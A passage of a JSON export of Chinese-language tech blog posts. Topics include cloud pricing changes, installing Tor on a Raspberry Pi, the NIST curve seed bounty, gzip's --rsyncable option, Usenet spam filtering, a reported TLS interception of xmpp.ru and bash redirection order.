pricing will cost in the Cloudflare dashboard. For the majority of current applications, new pricing is the same or less expensive than the previous Bundled and Unbound pricing plans.</blockquote>\r\n\r\n另外明年 2024/03/01 會全部強制切到新的方案：\r\n\r\n<blockquote>If you’re on our Workers Paid plan, you will have until March 1, 2024 to switch to the new pricing on your own, after which all of your projects will be automatically migrated to new pricing. If you’re an Enterprise customer, any contract renewals after March 1, 2024, will use the new pricing.</blockquote>\r\n\r\n用 CPU time 的確是好不少，但不知道這個 billing 的方式沒有其他地雷...",
    "title": "Cloudflare Workers 推出新的計費模式：以 CPU time 收費"
  },
  {
    "id": "11383",
    "body": "前幾天收到 <a href=\"https://cloud.google.com/\">GCP</a> 的信件，提到 2024/02/01 開始 <a href=\"https://en.wikipedia.org/wiki/IPv4\">IPv4</a> address 要漲價了，在「<a href=\"https://cloud.google.com/vpc/pricing#ipaddress\">External IP address pricing</a>」這邊也可以翻到這些資訊。\r\n\r\nExternal IP 的部分，漲 25%：\r\n\r\n<blockquote>Static and ephemeral IP addresses in use on standard VM instances will go from $.004 to $.005.</blockquote>\r\n\r\n<blockquote>Static and ephemeral IP addresses in use on preemptible VM instances will go from $.002 to $.0025.</blockquote>\r\n\r\n用一個月 720 小時算，一般 VM 的費用等於是從 $2.88/mo 漲到 $3.6/mo 左右的費用。\r\n\r\n<a href=\"https://cloud.google.com/nat\">Cloud NAT</a> 吃的 IPv4 address 的部分，從本來沒有收變成要收費：\r\n\r\n<blockquote>Static and ephemeral IP addresses mapped to Cloud NAT Gateway will go from No Charge to $0.005.</blockquote>",
    "title": "GCP 的 IPv4 也要漲價了"
  },
  {
    "id": "11385",
    "body": "在 <a href=\"https://en.wikipedia.org/wiki/Raspbian\">Raspbian</a> (bullseye) 裡面的 <a href=\"https://www.torproject.org/\">Tor</a> 版本太舊 (0.4.5.16-1)：\r\n\r\n<pre>0.4.5.16-1 (/var/lib/apt/lists/raspbian.raspberrypi.org_raspbian_dists_bullseye_main_binary-armhf_Packages)\r\n Description Language: \r\n                 File: /var/lib/apt/lists/raspbian.raspberrypi.org_raspbian_dists_bullseye_main_binary-armhf_Packages\r\n                  MD5: 9106e8e4b3843ebd532ba2b89615a92e\r\n Description Language: \r\n                 File: /var/lib/dpkg/status\r\n                  MD5: 9106e8e4b3843ebd532ba2b89615a92e</pre>\r\n\r\n這個版本試著連上線的時候會發生像是這樣的錯誤訊息：\r\n\r\n<pre>Oct  4 10:55:58 myserver Tor[991]: http status 400 (\"Tor version is insecure or unsupported. Please upgrade!\") response from dirserver 1.2.3.4:80. Please correct.</pre>\r\n\r\n本來想說可以裝 Tor 官方的版本 (官方有提供 apt repository)，結果發現官方不支援 Raspberry Pi 一代用的 <code>armhf</code> 了，只好另外找...\r\n\r\n然後翻到「<a href=\"http://raspbian.raspberrypi.org/raspbian/pool/main/t/tor/\">http://raspbian.raspberrypi.org/raspbian/pool/main/t/tor/</a>」這邊有看到新版的 deb 檔案，但拉下來後發現 dependency 需要 libssl3，在 bullseye 上面沒辦法跑。\r\n\r\n後來在 <a href=\"https://old.reddit.com/\">Reddit</a> 上翻到有人貼出來的 workaround：「<a href=\"https://old.reddit.com/r/TOR/comments/129b1mm/how_do_i_update_my_tor_relay_on_a_32bit_armhf/\">How do I update my TOR relay on a 32-bit armhf bullseye system (Raspberry Pi 3) to the latest version?</a>」，方法是去 <a href=\"https://www.debian.org/\">Debian</a> 那邊挖 bullseye-backport：「<a href=\"https://packages-picconi.debian.org/bullseye-backports/armhf/tor/download\">Debian -- Package Download Selection -- tor_0.4.7.13-1~bpo11+1_armhf.deb</a>」。\r\n\r\n拉下來以後直接 <code>dpkg -i</code> 幹進去，然後重跑 Tor 看 <code>/var/log/syslog</code> 內容，發現就連上了。\r\n\r\n不是最新版 0.4.8.x，但至少能用...？",
    "title": "在 Raspberry Pi (32-bit) 上安裝 Tor"
  },
  {
    "id": "11387",
    "body": "<a href=\"https://filippo.io/\">Filippo Valsorda</a> 發起了 seed bounty program，針對 <a href=\"https://www.nist.gov/\">NIST</a> P-curve 裡 seed 的部分尋找 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 的 pre-image：「<a href=\"https://words.filippo.io/dispatches/seeds-bounty/\">Announcing the $12k NIST Elliptic Curves Seeds Bounty</a>」。\r\n\r\n先講一下這次的 bounty program，希望找出下面這些 SHA-1 的 pre-image input (也就是找出 <code>input</code>，使得 <code>SHA1(input)</code> 會等於下面的東西)：\r\n\r\n<pre>3045AE6FC8422F64ED579528D38120EAE12196D5\r\nBD71344799D5C7FCDC45B59FA3B9AB8F6A948BC5\r\nC49D360886E704936A6678E1139D26B7819F7E90\r\nA335926AA319A27A1D00896A6773A4827ACDAC73\r\nD09E8800291CB85396CC6717393284AAA0DA64BA</pre>\r\n\r\n金額是 US$12288，但是要五個都找到。\r\n\r\n話說在寫這篇時，查資料發現 <a href=\"https://en.wikipedia.org/wiki/P-384\">P-384</a> 有獨立條目，但 <a href=\"https://en.wikipedia.org/wiki/P-256\">P-256</a> 與 <a href=\"https://en.wikipedia.org/wiki/P-521\">P-521</a> 都是重導指到 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">Elliptic-curve cryptography</a> 這個條目，但 P-384 看起來也沒什麼特別的，不知道當初編輯的人是怎麼想的...\r\n\r\n回來原來的問題，要從一些背景開始講，橢圓曲線的表示法有多種，像是：\r\n\r\n[latex]y^2 = x^3 + ax + b (Weierstrass form)[/latex]\r\n\r\n[latex]y^2 = x^3 + ax^2 + bx (Montgomery form)[/latex]\r\n\r\n而這些常數 <code>a</code> 與 <code>b</code> 的選擇會影響到計算速度，所以通常會挑過，但畢竟是密碼學用的東西，挑的過程如果都不解釋的話，會讓人懷疑是不是挑一個有後門的數字，尤其 <a href=\"https://www.nist.gov/\">NIST</a> (<a href=\"https://www.nsa.gov/\">NSA</a>) 後來被證實在 <a href=\"https://en.wikipedia.org/wiki/Dual_EC_DRBG\">Dual_EC_DRBG</a> 裡面埋後門的醜聞，大家對於 NIST 選擇或是設計的密碼系統都有很多疑慮。\r\n\r\n舉個例子來說，2005 年時 <a href=\"https://en.wikipedia.org/wiki/Daniel_J._Bernstein\">djb</a> 發明了 <a href=\"https://en.wikipedia.org/wiki/Curve25519\">Curve25519</a> (論文「<a href=\"https://cr.yp.to/ecdh/curve25519-20060209.pdf\">Curve25519: new Diffie-Hellman speed records</a>」則是記錄 2006)，選擇的橢圓曲線是：\r\n\r\n[latex]y^2 = x^3 + 486662x^2 + x[/latex]\r\n\r\n他就有提到這邊的 <code>486662</code> 是怎麼來的：他先在前一個段落說明，這邊數字如果挑的不好的話，會有哪些攻擊可以用，接下來把最小的三個值列出來，然後說明原因：\r\n\r\n<blockquote>To protect against various attacks discussed in Section 3, I rejected choices of A whose curve and twist orders were not {4 · prime, 8 · prime}; here 4, 8 are minimal since p ∈ 1+4Z. The smallest positive choices for A are 358990, 464586, and 486662. I rejected A = 358990 because one of its primes is slightly smaller than 2^252, raising the question of how standards and implementations should handle the theoretical possibility of a user’s secret key matching the prime; discussing this question is more difficult than switching to another A. I rejected 464586 for the same reason. So I ended up with A = 486662.</blockquote>\r\n\r\n而 P-192、P-224、P-256、P-384 與 P-521 的值都很怪，這是十六進位的值，在正式的文件或是正式的說明上都沒有解釋，屬於「magic number」：\r\n\r\n<pre>3045AE6FC8422F64ED579528D38120EAE12196D5 # NIST P-192, ANSI prime192v1\r\nBD71344799D5C7FCDC45B59FA3B9AB8F6A948BC5 # NIST P-224\r\nC49D360886E704936A6678E1139D26B7819F7E90 # NIST P-256, ANSI prime256v1\r\nA335926AA319A27A1D00896A6773A4827ACDAC73 # NIST P-384\r\nD09E8800291CB85396CC6717393284AAA0DA64BA # NIST P-521</pre>\r\n\r\n依照 Steve Weis 說，這些值當初是 Jerry Solinas 是隨便抓個字串，再用 SHA-1 生出來的：\r\n\r\n<blockquote>Apparently, they were provided by the NSA, and generated by Jerry Solinas in 1997. He allegedly generated them by hashing, presumably with SHA-1, some English sentences that he later forgot.</blockquote>\r\n\r\n這是 Steve Weis 的敘述，出自「<a href=\"https://saweis.net/posts/nist-curve-seed-origins.html?ref=words.filippo.io\">How were the NIST ECDSA curve parameters generated?</a>」：\r\n\r\n<blockquote>[Jerry] told me that he used a seed that was something like:\r\nSEED = SHA1(\"Jerry deserves a raise.\")\r\nAfter he did the work, his machine was replaced or upgraded, and the actual phrase that he used was lost. When the controversy first came up, Jerry tried every phrase that he could think of that was similar to this, but none matched.</blockquote>\r\n\r\n如果可以證實當初的字串，那麼 NIST 在裡面埋後門的疑慮會再降低一些，這就是這次發起 bounty program 的原因。",
    "title": "NIST P-curve 的 Seed Bounty Program"
  },
  {
    "id": "11388",
    "body": "查資的時候 <a href=\"https://en.wikipedia.org/wiki/Gzip\">gzip</a> 發現有 <code>--rsyncable</code> 這個參數，號稱是產生出對 <a href=\"https://rsync.samba.org/\">rsync</a> 友善的壓縮檔：\r\n\r\n<blockquote>When you synchronize a compressed file between two computers, this option allows rsync to transfer only files that were changed in the archive instead of the entire archive.  Normally, after a change is made to any file in the archive, the compression algorithm can generate a new version of the archive that does not match the previous version of the archive.  In this case, rsync transfers the entire new version of the archive to the remote computer.  With this option, rsync can transfer only the changed files as well as a small amount of metadata that is required to update the archive structure in the area that was changed.</blockquote>\r\n\r\n這個參數的說明可以參考「<a href=\"https://beeznest.wordpress.com/2005/02/03/rsyncable-gzip/\">Rsyncable gzip</a>」這篇，從發表的日期是 2005 年就可以看出來這個參數已經很久了：\r\n\r\n<blockquote>With this option, gzip will regularly “reset” his compression algorithm to what it was at the beginning of the file. So if for example there was a change at byte 23, this change will only affect the output up to maximum (for example) byte #9999. Then gzip will restart ‘at zero’, and the rest of the compressed output will be the same as what it was without the changed byte 23. This means that rsync will now be able to re-synchronise between the old and new compressed file, and can then avoid sending the portions of the file that were unmodified.</blockquote>\r\n\r\n這個參數的想法是，正常狀態下的 gzip 會因為來源的微小改變，造成後續壓縮的內容都完全不一樣。\r\n\r\n但加上 <code>--rsyncable</code> 後，gzip 就會定時重設壓縮狀態 (reset)，於是讓壓縮後的輸出內容有大部分的內容重複，於是 rsync 就能夠偵測到相同內容而避免大量重傳。\r\n\r\n但反過來的缺點面也就馬上可以想到，這是犧牲一些壓縮演算法的效率，付出的代價就是輸出的檔案會大一點。\r\n\r\n這個功能在 <a href=\"https://github.com/facebook/zstd\">zstd</a> 上也有，不過 <a href=\"https://tukaani.org/xz/\">xz</a> 就沒有...\r\n\r\n我拿 <code>zstd -19</code> (zstd 最高的壓縮率？) 測試 BBS 的備份，一般壓縮是 513672097 bytes，而加上 <code>--rsyncable</code> 後的壓縮是 513831761 bytes，發現是萬分之幾的增加，等於是只多了零頭...？\r\n\r\n看起來會是蠻好用的參數，特地寫一篇記錄起來...",
    "title": "gzip 的 --rsyncable (zstd 也有)"
  },
  {
    "id": "11390",
    "body": "<a href=\"https://www.starlink.com/\">Starlink</a> 宣佈了直接從衛星提供 LTE 的服務：「<a href=\"https://direct.starlink.com/\">Home - Starlink - Direct to Cell</a>」。\r\n\r\n在網站上的副標題寫的比較清楚：\r\n\r\n<blockquote>Seamless access to text, voice, and data for LTE phones across the globe</blockquote>\r\n\r\n另外官網的這張圖片也有說明到，可以直接用原始的手機連上去，這點比起當初蘋果需要用 <a href=\"https://en.wikipedia.org/wiki/IPhone_14\">iPhone 14</a> 跟衛星通訊又更進一步：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1697057112-e6576f8c.webp\" /><img src=\"https://i.gslin.com/s/1697057112-e6576f8c.png\" alt=\"\" /></picture>\r\n\r\n依照目前的規劃是 2024 年上 Text 服務 (應該就是 SMS 簡訊服務)，2025 年上 Voice &amp; Data 以及讓 IoT 也能上。\r\n\r\n而目前列出來的 Global Partner 有這六家，可以看到涵蓋了北美洲、歐洲、亞洲與大洋洲，如果後續再多找一些的話應該就更完整了：\r\n\r\n<blockquote>T-MOBILE (USA)\r\nOPTUS (AUSTRALIA)\r\nROGERS (CANADA)\r\nONE NZ (NEW ZEALAND)\r\nKDDI (JAPAN)\r\nSALT (SWITZERLAND)</blockquote>\r\n\r\n這對於完全沒有 mobile coverage 的地區來說會有很不一樣的情況，馬上有想到的是登山時緊急求救的設備，目前有 <a href=\"https://www.garmin.com/en-US/c/outdoor-recreation/satellite-communicators/\">Garmin InReach</a> 這種專用設備，之後如果真的弄起來的話應該都會逐漸退場...\r\n\r\n另外北美的沙漠公路裡面也是有不少區域沒有訊號，這個 coverage 看起來會有很大的幫助？",
    "title": "Starlink 宣佈了 LTE 服務"
  },
  {
    "id": "11392",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37847782\">Wordpress.com Now Supports ActivityPub (wordpress.com)</a>」這則，在講 <a href=\"https://wordpress.com/\">WordPress.com</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/ActivityPub\">ActivityPub</a>：「<a href=\"https://wordpress.com/blog/2023/10/11/activitypub/\">Engage a Wider Audience With ActivityPub on WordPress.com</a>」。\r\n\r\nHacker News 上的 <a href=\"https://news.ycombinator.com/item?id=37849725\">id=37849725</a> 這篇的說明其實更清楚，其實是 plugin 被 <a href=\"https://automattic.com/\">Automattic</a> 買走後包裝起來的行動：\r\n\r\n<blockquote>It is more accurate to say that the ActivityPub plugin[1] which was acquired by Automattic has hit 1.0 and is available to be used on WordPress.com. Yes, Mastodon implements (most of) ActivityPub but it's hardly the only platform on the web that does.\r\n\r\n[1] <a href=\"https://wordpress.org/plugins/activitypub/advanced/\">https://wordpress.org/plugins/activitypub/advanced/</a></blockquote>\r\n\r\nAnyway 這是個不錯的發展... 之後 Mastodon 上可以直接訂這些 blog 了？",
    "title": "WordPress.com 支援 ActivityPub"
  },
  {
    "id": "11393",
    "body": "<a href=\"https://groups.google.com/\">Google Groups</a> 的 spam 使得 <a href=\"https://en.wikipedia.org/wiki/Usenet\">Usenet</a> 上不少群組都受到波及了，像是 <a href=\"https://en.wikipedia.org/wiki/Comp.%2A_hierarchy\">comp.lang.c</a> 的 spam 量已經多到是每天上萬則在上面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1697085905-0effcdb8.webp\" /><img src=\"https://i.gslin.com/s/1697085905-0effcdb8.png\" alt=\"\" /></picture>\r\n\r\n目前看起來 <a href=\"https://en.wikipedia.org/wiki/Cleanfeed_(Usenet_spam_filter)\">Cleanfeed</a> 擋不住，我試著寫個小 hack (是還蠻 hack 的)，在 <code>cleanfeed.local</code> 裡面用 <a href=\"https://en.wikipedia.org/wiki/Apache_SpamAssassin\">SpamAssassin</a> 過濾，效果也很不好：\r\n\r\n<script src=\"https://gist.github.com/gslin/a260b284f18c70c013ef412105049ac3.js\"></script>\r\n\r\n目前最佳解應該就是直接擋掉 Google Groups，另外似乎是有人包裝好 <a href=\"http://www.cm.org/nocem.html\">NoCeM</a> 出來，也許後續也可以看看...",
    "title": "Google Groups 的巨量 spam"
  },
  {
    "id": "11394",
    "body": "<a href=\"https://www.meta.com/\">Meta</a> 的 <a href=\"https://en.wikipedia.org/wiki/LLaMA\">LLaMA</a> 宣稱是「The next generation of our open source large language model」，而 <a href=\"https://opensource.org/\">OSI</a> 很早就有發文駁斥：「<a href=\"https://blog.opensource.org/metas-llama-2-license-is-not-open-source/\">Meta’s LLaMa 2 license is not Open Source</a>」。\r\n\r\n在 OSI 的網站上可以看到「<a href=\"https://opensource.org/osd/\">The Open Source Definition</a>」，其中這條：\r\n\r\n<blockquote>6. No Discrimination Against Fields of Endeavor\r\n\r\nThe license must not restrict anyone from making use of the program in a specific field of endeavor. For example, it may not restrict the program from being used in a business, or from being used for genetic research.</blockquote>\r\n\r\nopen source 不能限制使用，而 LLaMA 的授權限制了商業使用：\r\n\r\n<blockquote>2. Additional Commercial Terms. If, on the Llama 2 version release date, the monthly active users of the products or services made available by or for Licensee, or Licensee’s affiliates, is greater than 700 million monthly active users in the preceding calendar month, you must request a license from Meta, which Meta may grant to you in its sole discretion, and you are not authorized to exercise any of the rights under this Agreement unless or until Meta otherwise expressly grants you such rights.</blockquote>\r\n\r\n前幾天翻車的 CKIP-Llama-2-7b 目前都已經下架了，但可以在 <a href=\"https://archive.today/\">Archive Today</a> 的「<a href=\"https://archive.ph/2FRM1#selection-345.3-345.18\">CKIP Llama 2 7b Chat - a Hugging Face Space by ckiplab</a>」看到存檔頁面，以及在 <a href=\"https://web.archive.org/\">Internet Archive</a> 上的「<a href=\"https://web.archive.org/web/20231008151010/https://github.com/ckiplab/CKIP-Llama-2-7b\">GitHub - ckiplab/CKIP-Llama-2-7b: CKIP Traditional Chinese Llama-2</a>」看到 <a href=\"https://github.com/\">GitHub</a> 當時的頁面。\r\n\r\n當時看到 CKIP-Llama-2-7b 宣稱用 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a> 放出來，我就「蛤？」了出來...\r\n\r\nAnyway，雖然是其他原因被下架了...",
    "title": "原來 OSI 有寫過 LLaMA 的 license 不是 open source license 的宣告"
  },
  {
    "id": "11395",
    "body": "印象中之前有找過資料應該有寫過，但搜了一下沒翻到，可能是當初寫一寫刪掉了？\r\n\r\n<a href=\"https://www.python.org/\">Python</a> 的支援週期在「<a href=\"https://devguide.python.org/versions/\">Status of Python versions</a>」這頁可以看到，只看 Python 3 的部分的話，可以看出來從 3.2 之後的版本都是固定五年：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1697452876-e5140f31.webp\" /><img src=\"https://i.gslin.com/s/1697452876-e5140f31.png\" alt=\"\" /></picture>\r\n\r\n五年剛好與 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 的 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 相同，好像有點微妙... 會遇到 Ubuntu 的 LTS 支援快要結束的時候，官方的支援也已經結束了，所以也的確有看到 18.04 (bionic) 後續的更新把 <a href=\"https://packages.ubuntu.com/search?keywords=python3-minimal\">python3-minimal</a> 升級到 3.8 版 (2019/10/14 出)。\r\n\r\n看起來 20.04 (focal) 也會遇到類似的問題，目前的 python3-minimal 是 <code>3.8.2-0ubuntu2</code>，到 2024 年十月終止，而 20.04 (focal) 的 LTS 到 2025 年四月，應該也會生個版本？",
    "title": "Python 3 的支援週期"
  },
  {
    "id": "11396",
    "body": "看到「<a href=\"https://www.theregister.com/2023/10/13/mariadb_restructure/\">MariaDB ditches products and staff in restructure, bags $26.5M loan to cushion fall</a>」這篇，<a href=\"https://mariadb.com/\">MariaDB</a> 決定停掉 <a href=\"https://mariadb.com/products/skysql/\">SkySQL</a> (SQL service) 與 <a href=\"https://mariadb.com/products/enterprise/xpand/\">Xpand</a> (scalable solution)。對應的 <a href=\"https://en.wikipedia.org/wiki/Form_8-K\">8-K</a> 文件在 <a href=\"https://d18rn0p25nwr6d.cloudfront.net/CIK-0001929589/30366574-a5f7-4512-ab57-e643d1fb148d.pdf\">30366574-a5f7-4512-ab57-e643d1fb148d.pdf</a> 這邊。\r\n\r\n這兩個產品不再收新客戶，另外現有的客戶有安排轉移計畫 (大概就是告知替代方案而已？)：\r\n\r\n<blockquote>As part of the Plan, the Company will focus its attention on its core MariaDB Enterprise Server database product.  Products not related to the core MariaDB Enterprise Server business, including SkySQL and Xpand, will no longer be sold and the Company has implemented a plan to help existing customers migrate off these products.</blockquote>\r\n\r\n至於本業的部分... 自家研發的 <a href=\"https://en.wikipedia.org/wiki/Aria_(storage_engine)\">Aria</a> 引擎沒有什麼賣點，與 <a href=\"https://en.wikipedia.org/wiki/MyISAM\">MyISAM</a> 相比，只有 crash-safe 的功能能看，但還是沒有 transaction 的能力。\r\n\r\n這次是不是還有能量回歸把本業做好，就得看下去了... 話說 MariaDB 當初 2022 年是透過 <a href=\"https://en.wikipedia.org/wiki/Special-purpose_acquisition_company\">SPAC</a> 搞上市的 (參考「<a href=\"https://techcrunch.com/2022/02/02/the-mariadb-spac-deal-could-prove-to-be-a-key-test-for-unicorn-exits/\">The MariaDB SPAC deal could prove to be a key test for unicorn exits</a>」這個報導)，不知道 key man 股票是不是都脫手了...",
    "title": "MariaDB 停掉 SkySQL 與 Xpand"
  },
  {
    "id": "11397",
    "body": "因為在寫「<a href=\"https://blog.gslin.org/archives/2023/10/16/11395/python-3-%e7%9a%84%e6%94%af%e6%8f%b4%e9%80%b1%e6%9c%9f/\">Python 3 的支援週期</a>」這篇時需要查不同作業系統版本下的 <a href=\"https://packages.ubuntu.com/search?keywords=python3-minimal\">python3-minimal</a> 版本資訊，一開始是到 <a href=\"https://packages.ubuntu.com/\">packages.ubuntu.com</a> 上查，但上面只列出了目前還有支援的作業系統的套件。\r\n\r\n所以就到 <a href=\"https://askubuntu.com/\">Ask Ubuntu</a> 上面問：「<a href=\"https://askubuntu.com/questions/1489262/how-to-search-package-information-on-unsupported-ubuntu-distribution/1489346\">How to search package information on unsupported Ubuntu distribution</a>」。\r\n\r\n看起來有兩個方法可以拉到歷史資料，一個是 <a href=\"https://packages.ubuntu.com/search?keywords=devscripts\">devscripts</a> 裡面的 rmadison，直接帶入要查的套件名稱就可以了：\r\n\r\n<pre>$ rmadison python3-minimal</pre>\r\n\r\n另外一個是到 <a href=\"https://ubuntu-archive-team.ubuntu.com/madison.cgi\">https://ubuntu-archive-team.ubuntu.com/madison.cgi</a> 這邊查，這個位置也是 rmadison 預設的 backend，資料應該是一樣的。\r\n\r\n而加上 <code>-u debian</code> 可以改查 <a href=\"https://www.debian.org/\">Debian</a> 這邊的資訊，用 <code>-h</code> 可以看到還有那些 alias 可以用。\r\n\r\n目前 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 這邊可以查到最舊的版本是 trusty (14.04)，如果要更舊的版本資訊，需要去 <a href=\"https://launchpad.net/\">launchpad.net</a> 上面翻，像是 <a href=\"https://launchpad.net/ubuntu/precise/+package/python3-minimal\">https://launchpad.net/ubuntu/precise/+package/python3-minimal</a> 這個。",
    "title": "查詢 Debian 與 Ubuntu 官方的 apt repository 的版本資訊"
  },
  {
    "id": "11400",
    "body": "本來單純用 <a href=\"https://en.wikipedia.org/wiki/Cleanfeed_(Usenet_spam_filter)\">Cleanfeed</a> + <a href=\"https://spamassassin.apache.org/\">Mail::SpamAssassin</a> 擋，效果其實不太好：「<a href=\"https://blog.gslin.org/archives/2023/10/12/11393/google-groups-%e7%9a%84%e5%b7%a8%e9%87%8f-spam/\">Google Groups 的巨量 spam</a>」。\r\n\r\n後來在 <a href=\"https://groups.google.com/g/news.software.nntp/c/Zq6UgyfckHM/m/BABGtSIRBAAJ\">news.software.nntp 討論區裡面</a>有人提到應該要用 sa-learn 訓練：\r\n\r\n<blockquote>OK, now you need a ~/.spamassassin directory for your news user and a user_prefs file in that directory. After that you can start adding rules for Usenet spam. You will also need to feed several hundreds of spam and ham articles to sa-learn --spam or sa-learn --ham as the news user. After that, SpamAssassin will gradually improve.</blockquote>\r\n\r\n死馬當活馬醫看看，結果看起來效果就出來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1697729525-f14d6b44.webp\" /><img src=\"https://i.gslin.com/s/1697729525-f14d6b44.png\" alt=\"\" /></picture>\r\n\r\n累積了幾天下來後，單看跑進 comp.lang.c 裡面的 spam 與 Mail::SpamAssassin 這邊擋下來的量，差不多是 99%+ 的量，接下來就是有看到的部分再丟進去 train。\r\n\r\n目前看起來唯一的問題就是 Google Groups 的 spam 量真的很大，導致 innd 因為跑 Mail::SpamAssassin 的 bayesian 運算時 CPU usage 會高不少，偶而會撞到 100%，但不是常態所以還好。\r\n\r\n繼續觀察看看...",
    "title": "在 Cleanfeed 裡面用 Mail::SpamAssassin 的 Bayesian filter 來擋 Google Groups 的垃圾"
  },
  {
    "id": "11401",
    "body": "標題有點複雜，先講一下 http-01 認證，這是目前 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 上最常被使用的認證方式，是透過 HTTP 協定完成認證，你只要能回答 <code>http://www.example.com/.well-known/acme-challenge/XXX</code> 的內容就能過。\r\n\r\n一般來說，這個 HTTP 位置只有這台伺服器的 owner 才有辦法提供，也就能確保不是任何人都可以申請。\r\n\r\n但因為這邊走的是 HTTP，對於 ISP 這種比較特別的身分來說，他可以從中架設 HTTP 的 MITM Proxy 做到這件事情。\r\n\r\n而有了合法的 SSL certificate 之後，中間的 MITM Proxy 就不只能聽 HTTP 了，還可以聽 HTTPS 的內容 (甚至修改內容)。\r\n\r\n這次發生的事情就是在德國的 <a href=\"https://www.linode.com/\">Linode</a> 與 <a href=\"https://www.hetzner.com/\">Hetzner</a> 機房內的服務，俄羅斯最大的 <a href=\"https://en.wikipedia.org/wiki/XMPP\">XMPP</a> 服務 <a href=\"https://xmpp.ru/\">xmpp.ru</a> 被搞出這件事情 (XMPP 是一個開放協定，不熟的話可以想像成類似 <a href=\"https://line.me/\">Line</a> 或是 <a href=\"https://telegram.org/\">Telegram</a> 的服務，但 XMPP 是開放協定，可以用自己喜歡的軟體連上)：「<a href=\"https://notes.valdikss.org.ru/jabber.ru-mitm/\">Encrypted traffic interception on Hetzner and Linode targeting the largest Russian XMPP (Jabber) messaging service</a>」。\r\n\r\n他們在 Hetzner 的伺服器上有發現 network offline 的訊號：\r\n\r\n<pre>[Tue Jul 18 12:58:29 2023] igb 0000:04:00.0 enp4s0: igb: enp4s0 NIC Link is Down\r\n[Tue Jul 18 12:58:48 2023] igb 0000:04:00.0 enp4s0: igb: enp4s0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX/TX</pre>\r\n\r\n而在這個 network offline 的時間不久後 Let's Encrypt 發出了 xmpp.ru 與 jabber.ru 的 SSL certificate (<a href=\"https://crt.sh\">crt.sh</a> 上可以查到，在 <a href=\"https://crt.sh/?id=9997694704\">9997694704</a> 與 <a href=\"https://crt.sh/?id=9997621208\">9997621208</a>)：\r\n\r\n<blockquote>18 July 2023 issuing time is about the same when Hetzner server has lost network link for several seconds.</blockquote>\r\n\r\n這些徵兆符合改接到 MITM Proxy 上的行為。\r\n\r\n這次的事情很大條，因為這些伺服器是在德國，不是在俄羅斯... 事情才剛開始被報導出來，後續得繼續追蹤，而且應該也會促成新的機制被引入？",
    "title": "ISP 偽造出合法的 SSL certificate，對放在德國的 xmpp.ru 進行 MITM 監聽"
  },
  {
    "id": "11402",
    "body": "在 <a href=\"https://caniuse.com/\">Can I Use...</a> 上面的「<a href=\"https://caniuse.com/css-has\">:has() CSS relational pseudo-class</a>」裡面可以看到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 一直都還沒支援，只有在 nightly 版本上面預設有開，這也代表還沒辦法很穩定的用這個 selector... (除非你直接忽略掉 Firefox)。\r\n\r\n看到「<a href=\"https://meyerweb.com/eric/thoughts/2023/10/19/ffhack-has/\">Prodding Firefox to Update :has() Selection</a>」這篇，<a href=\"https://en.wikipedia.org/wiki/Eric_A._Meyer\">Eric Meyer</a> 在抱怨 Firefox 的這個問題，就算是 nightly 的版本也還是有奇怪的 bug，會抓不到 <code>:has()</code> 條件，需要用 <code>contenteditable</code> 的 workaround 觸發 Firefox 的計算。\r\n\r\n在 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的 <a href=\"https://bugzilla.mozilla.org/\">Bugzilla</a> 上可以看到票還開著：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=418039\">Implement the :has() pseudo class</a>」，看起來這陣子是一直有在更新，應該是有資源在上面追進度。\r\n\r\n等到真的支援，就可以在 <code>querySelectorAll()</code> 裡面直接用 <code>:has()</code> 了，現在 Firefox 的情況讓 <a href=\"https://en.wikipedia.org/wiki/Userscript\">Userscript</a> 寫起來有點卡...",
    "title": "Firefox 的 :has() 支援度問題"
  },
  {
    "id": "11403",
    "body": "以前都是硬背起來的，如果要把所有的輸出都丟到 <code>/dev/null</code>，要用前面的方式才會是對的，但其實在 bash 的 manpage 裡面有提到：\r\n\r\n<pre>Note that the order of redirections is significant. For example, the command\r\n\r\n    ls &gt; dirlist 2&gt;&amp;1\r\n\r\ndirects both standard output and standard error to the file dirlist, while the command\r\n\r\n    ls 2&gt;&amp;1 &gt; dirlist\r\n\r\ndirects only the standard output to file dirlist, because the standard error was duplicated from the standard output before the standard output was redirected to dirlist.</pre>\r\n\r\n這是因為照順序跑 <a href=\"https://linux.die.net/man/2/dup2\"><code>dup2()</code></a> 的關係 (參考 bash 的 <a href=\"https://github.com/bminor/bash/blob/master/redir.c\">redir.c</a>)。\r\n\r\n前者會先把 <code>dirlist</code> 開起來後透過 <code>dup2()</code> 複製到 fd=1，再用一次 <code>dup2()</code> 把 fd=1 複製到 fd=2，達到我們要的效果。\r\n\r\n後者則是先把 fd=1 複製到 fd=2 (於是大家都丟到 stdout 了)，接下來再把 <code>dirlist</code> 開起來，丟到 fd=1。這樣變成 <code>ls</code> 寫到 stderr 的東西變成到 stdout 了，而本來寫到 stdout 的東西進到 <code>dirlist</code> 這個檔案裡。\r\n\r\n剛剛寫 code 時想找一下有沒有官方文件或是 source code 有描述 ordering 或是有定義行為，結果發現 bash 的 manpage 裡面就有提到了...",
    "title": "弄清楚 >/dev/null 2>&1 與 2>&1 >/dev/null 的差異"
  },
  {
    "id": "11404",
